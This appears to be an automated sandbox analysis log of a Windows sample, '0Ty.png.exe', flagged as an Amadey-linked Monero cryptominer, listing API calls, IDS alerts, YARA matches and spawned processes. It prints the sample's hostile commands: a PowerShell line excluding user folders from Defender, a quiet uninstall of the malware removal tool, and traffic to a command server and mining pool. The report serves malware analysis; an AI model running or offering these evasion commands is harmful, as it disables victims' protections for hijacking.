Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A29E110 FindFirstFileExW, 31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4AE110 FindFirstFileExW, 67_2_0000014ECB4AE110
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC64E110 FindFirstFileExW, 69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC67E110 FindFirstFileExW, 69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AEE110 FindFirstFileExW, 70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A66130E110 FindFirstFileExW, 71_2_000002A66130E110
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE0E110 FindFirstFileExW, 72_2_000002BAAEE0E110
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_000002488060E110 FindFirstFileExW, 73_2_000002488060E110

Networking

barindex
Source: Network traffic Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.4:49731 -> 85.209.133.29:80
Source: global traffic TCP traffic: 192.168.2.4:49730 -> 194.164.234.171:10128
Source: Joe Sandbox View ASN Name: CMCSUS CMCSUS
Source: Network traffic Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.4:49775 -> 85.209.133.29:80
Source: Network traffic Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.4:49755 -> 85.209.133.29:80
Source: Network traffic Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49730 -> 194.164.234.171:10128
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: gulf.moneroocean.stream
Source: unknown HTTP traffic detected: POST /lowkey/api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 283Content-Type: application/jsonHost: 85.209.133.29User-Agent: cpp-httplib/0.12.6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:23:07 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:24:06 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:25:06 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dialer.exe, 00000018.00000003.1719273538.0000027DD0413000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000018.00000002.1719637666.0000027DD0417000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.m
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF81151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

System Summary

barindex
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8B0FE4 NtResumeThread, 28_2_00007FFD9B8B0FE4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8ADF98 NtUnmapViewOfSection, 28_2_00007FFD9B8ADF98
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8B0F20 NtSetContextThread, 28_2_00007FFD9B8B0F20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8B0C5D NtWriteVirtualMemory, 28_2_00007FFD9B8B0C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8B0A3E NtUnmapViewOfSection, 28_2_00007FFD9B8B0A3E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8AE078 NtUnmapViewOfSection, 28_2_00007FFD9B8AE078
Source: C:\Windows\System32\dialer.exe Code function: 64_2_0000000140001394 NtOpenKey, 64_2_0000000140001394
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8B1004 NtResumeThread, 66_2_00007FFD9B8B1004
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8B0F40 NtSetContextThread, 66_2_00007FFD9B8B0F40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8B0C7D NtWriteVirtualMemory, 66_2_00007FFD9B8B0C7D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8AE0C8 NtUnmapViewOfSection, 66_2_00007FFD9B8AE0C8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8B0A5E NtUnmapViewOfSection, 66_2_00007FFD9B8B0A5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8AE098 NtUnmapViewOfSection, 66_2_00007FFD9B8AE098
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8AE0A8 NtUnmapViewOfSection, 66_2_00007FFD9B8AE0A8
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140001860 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle, 68_2_0000000140001860
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC642990 NtEnumerateValueKey,NtEnumerateValueKey, 69_2_00000225DC642990
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AE2604 NtQueryDirectoryFileEx,GetFileType,StrCpyW, 70_2_00000202C0AE2604
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AE211C NtQuerySystemInformation,StrCmpNIW, 70_2_00000202C0AE211C
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE02990 NtEnumerateValueKey,NtEnumerateValueKey, 72_2_000002BAAEE02990
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140001860 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle, 73_2_0000000140001860
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe File created: C:\Windows\TEMP\ihddniqxcjeb.sys Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File deleted: C:\Windows\Temp\__PSScriptPolicyTest_e5142syl.zjb.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8AF63E 28_2_00007FFD9B8AF63E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8ADD58 28_2_00007FFD9B8ADD58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8AE329 28_2_00007FFD9B8AE329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8AFDE9 28_2_00007FFD9B8AFDE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8AF659 28_2_00007FFD9B8AF659
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 28_2_00007FFD9B8ADCD3 28_2_00007FFD9B8ADCD3
Source: C:\Windows\System32\conhost.exe Code function: 31_3_0000024089941FF4 31_3_0000024089941FF4
Source: C:\Windows\System32\conhost.exe Code function: 31_3_0000024089953CD8 31_3_0000024089953CD8
Source: C:\Windows\System32\conhost.exe Code function: 31_3_000002408994D510 31_3_000002408994D510
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A2A48D8 31_2_000002408A2A48D8
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A29E110 31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A292BF4 31_2_000002408A292BF4
Source: C:\Windows\System32\dialer.exe Code function: 64_2_0000000140003240 64_2_0000000140003240
Source: C:\Windows\System32\dialer.exe Code function: 64_2_00000001400027D0 64_2_00000001400027D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8ADD78 66_2_00007FFD9B8ADD78
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8AE349 66_2_00007FFD9B8AE349
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9BB23542 66_2_00007FFD9BB23542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9BB230D1 66_2_00007FFD9BB230D1
Source: C:\Windows\System32\conhost.exe Code function: 67_3_0000014ECB483CD8 67_3_0000014ECB483CD8
Source: C:\Windows\System32\conhost.exe Code function: 67_3_0000014ECB47D510 67_3_0000014ECB47D510
Source: C:\Windows\System32\conhost.exe Code function: 67_3_0000014ECB471FF4 67_3_0000014ECB471FF4
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4B48D8 67_2_0000014ECB4B48D8
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4AE110 67_2_0000014ECB4AE110
Source: C:\Windows\System32\conhost.exe Code function: 67_2_0000014ECB4A2BF4 67_2_0000014ECB4A2BF4
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140001CF0 68_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002D54 68_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140001274 68_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002434 68_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_00000001400031D8 68_2_00000001400031D8
Source: C:\Windows\System32\winlogon.exe Code function: 69_3_00000225DC611FF4 69_3_00000225DC611FF4
Source: C:\Windows\System32\winlogon.exe Code function: 69_3_00000225DC623CD8 69_3_00000225DC623CD8
Source: C:\Windows\System32\winlogon.exe Code function: 69_3_00000225DC61D510 69_3_00000225DC61D510
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC642BF4 69_2_00000225DC642BF4
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC6548D8 69_2_00000225DC6548D8
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC64E110 69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC672BF4 69_2_00000225DC672BF4
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC6848D8 69_2_00000225DC6848D8
Source: C:\Windows\System32\winlogon.exe Code function: 69_2_00000225DC67E110 69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe Code function: 70_3_00000202C0AB1FF4 70_3_00000202C0AB1FF4
Source: C:\Windows\System32\lsass.exe Code function: 70_3_00000202C0AC3CD8 70_3_00000202C0AC3CD8
Source: C:\Windows\System32\lsass.exe Code function: 70_3_00000202C0ABD510 70_3_00000202C0ABD510
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AE2BF4 70_2_00000202C0AE2BF4
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AF48D8 70_2_00000202C0AF48D8
Source: C:\Windows\System32\lsass.exe Code function: 70_2_00000202C0AEE110 70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe Code function: 71_3_000002A6612DD510 71_3_000002A6612DD510
Source: C:\Windows\System32\svchost.exe Code function: 71_3_000002A6612D1FF4 71_3_000002A6612D1FF4
Source: C:\Windows\System32\svchost.exe Code function: 71_3_000002A6612E3CD8 71_3_000002A6612E3CD8
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A66130E110 71_2_000002A66130E110
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A661302BF4 71_2_000002A661302BF4
Source: C:\Windows\System32\svchost.exe Code function: 71_2_000002A6613148D8 71_2_000002A6613148D8
Source: C:\Windows\System32\dwm.exe Code function: 72_3_000002BAAEDD1FF4 72_3_000002BAAEDD1FF4
Source: C:\Windows\System32\dwm.exe Code function: 72_3_000002BAAEDDD510 72_3_000002BAAEDDD510
Source: C:\Windows\System32\dwm.exe Code function: 72_3_000002BAAEDE3CD8 72_3_000002BAAEDE3CD8
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE02BF4 72_2_000002BAAEE02BF4
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE0E110 72_2_000002BAAEE0E110
Source: C:\Windows\System32\dwm.exe Code function: 72_2_000002BAAEE148D8 72_2_000002BAAEE148D8
Source: C:\Windows\System32\dllhost.exe Code function: 73_3_00000248FFB53CD8 73_3_00000248FFB53CD8
Source: C:\Windows\System32\dllhost.exe Code function: 73_3_00000248FFB4D510 73_3_00000248FFB4D510
Source: C:\Windows\System32\dllhost.exe Code function: 73_3_00000248FFB41FF4 73_3_00000248FFB41FF4
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140001CF0 73_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140002D54 73_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140002434 73_2_0000000140002434
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_00000001400031D8 73_2_00000001400031D8
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140001274 73_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000024880602BF4 73_2_0000024880602BF4
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_000002488060E110 73_2_000002488060E110
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_00000248806148D8 73_2_00000248806148D8
Source: Joe Sandbox View Dropped File: C:\Windows\Temp\ihddniqxcjeb.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
Source: unknown Process created: Commandline size = 5337
Source: unknown Process created: Commandline size = 5389
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: classification engine Classification label: mal100.spyw.evad.mine.winEXE@105/17@1/2
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx, 68_2_0000000140002D54
Source: C:\Windows\System32\dllhost.exe Code function: 73_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx, 73_2_0000000140002D54
Source: C:\Windows\System32\dialer.exe Code function: 24_2_0000000140001614 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,CoUninitialize,SysFreeString,SysFreeString, 24_2_0000000140001614
Source: C:\Windows\System32\dialer.exe Code function: 24_2_0000000140001984 FindResourceExA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW, 24_2_0000000140001984
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3064:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\dialer.exe Mutant created: \BaseNamedObjects\Global\gohkfyvqbpmecnid
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2416:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:6992:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:3848:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djuimxe0.3el.ps1 Jump to behavior
Source: 0Ty.png.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Users\user\Desktop\0Ty.png.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 0Ty.png.exe Virustotal: Detection: 65%
Source: 0Ty.png.exe ReversingLabs: Detection: 65%
Source: C:\Users\user\Desktop\0Ty.png.exe File read: C:\Users\user\Desktop\0Ty.png.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\0Ty.png.exe "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
